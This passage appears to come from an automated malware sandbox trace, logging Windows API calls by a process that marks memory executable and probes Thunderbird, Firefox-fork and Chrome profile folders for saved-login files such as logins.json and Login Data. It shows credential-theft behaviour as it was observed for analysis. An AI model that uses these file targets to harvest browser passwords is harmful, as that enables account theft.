NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.718] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.720] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.720] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcefe38, cbMultiByte=31, lpWideCharStr=0x1e7dec04, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Thunderbird\\Profiles\\les\\") returned 31 [0155.721] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.721] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.721] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Thunderbird\\Profiles\\", lpDst=0x1e2a0154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Thunderbird\\Profiles\\") returned 0x38 [0155.721] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.722] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Thunderbird\\Profiles\\\\*.*", lpFindFileData=0x1e7df990 | out: lpFindFileData=0x1e7df990*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0155.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf03b4, cbMultiByte=11, lpWideCharStr=0x1e7de91c, cchWideChar=2047 | out: lpWideCharStr="logins.jsonm Files\\Microsoft Office\\root\\Client\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0155.722] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Thunderbird\\Profiles\\\\logins.json" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\thunderbird\\profiles\\logins.json")) returned 0xffffffff [0155.722] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df990 | out: lpFindFileData=0x1e7df990*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0155.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022978, cbMultiByte=28, lpWideCharStr=0x1e7dec04, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Waterfox\\Profiles\\es\\les\\") returned 28 [0155.722] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Waterfox\\Profiles\\", lpDst=0x1e2a0154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Waterfox\\Profiles\\") returned 0x35 [0155.723] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Waterfox\\Profiles\\\\*.*", lpFindFileData=0x1e7df990 | out: lpFindFileData=0x1e7df990*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0155.723] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf03b4, cbMultiByte=11, lpWideCharStr=0x1e7de91c, cchWideChar=2047 | out: lpWideCharStr="logins.jsonm Files\\Microsoft Office\\root\\Client\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0155.723] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Waterfox\\Profiles\\\\logins.json" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\waterfox\\profiles\\logins.json")) returned 0xffffffff [0155.723] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df990 | out: lpFindFileData=0x1e7df990*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0155.723] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0229bc, cbMultiByte=36, lpWideCharStr=0x1e7dec04, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Comodo\\IceDragon\\Profiles\\Ȁ") returned 36 [0155.723] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Comodo\\IceDragon\\Profiles\\", lpDst=0x1e2a0154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\") returned 0x3d [0155.723] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\\\*.*", lpFindFileData=0x1e7df990 | out: lpFindFileData=0x1e7df990*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0155.723] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf03b4, cbMultiByte=11, lpWideCharStr=0x1e7de91c, cchWideChar=2047 | out: lpWideCharStr="logins.jsonm Files\\Microsoft Office\\root\\Client\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0155.723] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\\\logins.json" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\comodo\\icedragon\\profiles\\logins.json")) returned 0xffffffff [0155.724] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df990 | out: lpFindFileData=0x1e7df990*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0155.724] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022a08, cbMultiByte=41, lpWideCharStr=0x1e7dec04, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\8pecxstudios\\Cyberfox\\Profiles\\眩") returned 41 [0155.724] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\8pecxstudios\\Cyberfox\\Profiles\\", lpDst=0x1e2a0154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\") returned 0x42 [0155.724] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\\\*.*", lpFindFileData=0x1e7df990 | out: lpFindFileData=0x1e7df990*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0155.724] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf03b4, cbMultiByte=11, lpWideCharStr=0x1e7de91c, cchWideChar=2047 | out: lpWideCharStr="logins.jsonm Files\\Microsoft Office\\root\\Client\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0155.724] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\\\logins.json" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\8pecxstudios\\cyberfox\\profiles\\logins.json")) returned 0xffffffff [0155.724] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df990 | out: lpFindFileData=0x1e7df990*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0155.724] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceff50, cbMultiByte=51, lpWideCharStr=0x1e7dec04, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Moonchild Productions\\Pale Moon\\Profiles\\ṽĀ") returned 51 [0155.724] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Moonchild Productions\\Pale Moon\\Profiles\\", lpDst=0x1e2a0154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\") returned 0x4c [0155.725] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\\\*.*", lpFindFileData=0x1e7df990 | out: lpFindFileData=0x1e7df990*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0155.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf03b4, cbMultiByte=11, lpWideCharStr=0x1e7de91c, cchWideChar=2047 | out: lpWideCharStr="logins.jsonm Files\\Microsoft Office\\root\\Client\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0155.725] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\\\logins.json" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\moonchild productions\\pale moon\\profiles\\logins.json")) returned 0xffffffff [0155.725] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df990 | out: lpFindFileData=0x1e7df990*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0155.725] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.726] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf28a0, cbMultiByte=12, lpWideCharStr=0x1e7dea70, cchWideChar=2047 | out: lpWideCharStr="GoogleChromeH") returned 12 [0155.726] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0814, cbMultiByte=39, lpWideCharStr=0x1e7dea6c, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Google\\Chrome\\User Data\\") returned 39 [0155.726] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome\\User Data\\", lpDst=0x1e2a0154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 0x39 [0155.726] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*", lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadcfd00, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xde226b0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xde226b0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0155.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.735] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Data\x02Ȁ䉸dØ?ṽ捥瞿") returned 10 [0155.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.736] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.736] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.736] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.737] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\.\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\login data")) returned 0xffffffff [0155.737] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadcfd00, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xde226b0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xde226b0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Data\x02Ȁ䉸dØ?ṽ捥瞿") returned 10 [0155.737] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\..\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\login data")) returned 0xffffffff [0155.737] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0155.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Data\x02Ȁ䉸dØ?ṽ捥瞿") returned 10 [0155.737] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\CertificateTransparency\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\certificatetransparency\\login data")) returned 0xffffffff [0155.738] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadf5e60, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xae1bfc0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xae1bfc0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0155.738] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Data\x02Ȁ䉸dØ?ṽ捥瞿") returned 10 [0155.739] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Crashpad\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\crashpad\\login data")) returned 0xffffffff [0155.740] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xadf5e60, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xadf5e60, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xadf5e60, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashpadMetrics-active.pma", cAlternateFileName="CRASHP~1.PMA")) returned 1 [0155.740] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Data\x02Ȁ䉸dØ?ṽ捥瞿") returned 10 [0155.740] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\CrashpadMetrics-active.pma\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\crashpadmetrics-active.pma\\login data")) returned 0xffffffff [0155.740] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb031300, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xe5b8cd0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xe5b8cd0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0155.740] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Data\x02Ȁ䉸dØ?ṽ捥瞿") returned 10 [0155.740] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\login data")) returned 0x2020 [0155.743] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7bc, cchWideChar=2047 | out: lpWideCharStr="Login DataData\x02Ȁ䉸dØ?ṽ捥瞿") returned 10 [0155.743] GetTickCount () returned 0x115b79c [0155.743] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.744] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df66d, cbMultiByte=8, lpWideCharStr=0x1e7de644, cchWideChar=2047 | out: lpWideCharStr="18200476⤈[ꡀ瞾\x08") returned 8 [0155.744] SysReAllocStringLen (in: pbstr=0x1e7df7b0*=0x0, psz="18200476", len=0x8 | out: pbstr=0x1e7df7b0*="18200476") returned 1 [0155.744] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df730 | out: lpPerformanceCount=0x1e7df730*=23397734864) returned 1 [0155.744] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df631, cbMultiByte=4, lpWideCharStr=0x1e7de608, cchWideChar=2047 | out: lpWideCharStr="5502ḧṽ\x10") returned 4 [0155.744] SysReAllocStringLen (in: pbstr=0x1e7df760*=0x0, psz="5502", len=0x4 | out: pbstr=0x1e7df760*="5502") returned 1 [0155.744] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df62d, cbMultiByte=4, lpWideCharStr=0x1e7de604, cchWideChar=2047 | out: lpWideCharStr="204902ḧṽ\x10") returned 4 [0155.744] SysReAllocStringLen (in: pbstr=0x1e7df75c*=0x0, psz="2049", len=0x4 | out: pbstr=0x1e7df75c*="2049") returned 1 [0155.744] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df629, cbMultiByte=4, lpWideCharStr=0x1e7de600, cchWideChar=2047 